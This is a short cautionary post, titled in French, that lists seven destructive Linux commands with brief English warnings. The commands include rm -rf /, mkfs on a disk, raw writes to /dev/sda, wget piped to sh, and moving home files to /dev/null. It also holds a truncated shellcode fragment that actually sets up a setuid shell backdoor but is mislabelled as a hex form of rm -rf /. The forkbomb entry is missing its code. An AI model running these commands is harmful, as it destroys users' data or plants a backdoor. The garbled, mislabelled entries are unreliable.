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7 commandes a eviter :D


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1. Code:

rm -rf /


This command will recursively and forcefully delete all the files inside the root directory.



2. Code:


char esp[] __attribute__ ((section(".text"))) /* e.s.p

release */

= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"







"cp -p /bin/sh /tmp/.beyond; chmod 4755



This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.


3. Code:


mkfs.ext3 /dev/sda


This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.



4. Code:




Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.



5. Code:


any_command > /dev/sda


With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.



6. Code:


wget http://some_untrusted_source -O- | sh


Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.


7. Code:


mv /home/yourhomedirectory/* /dev/null


This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.



There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.

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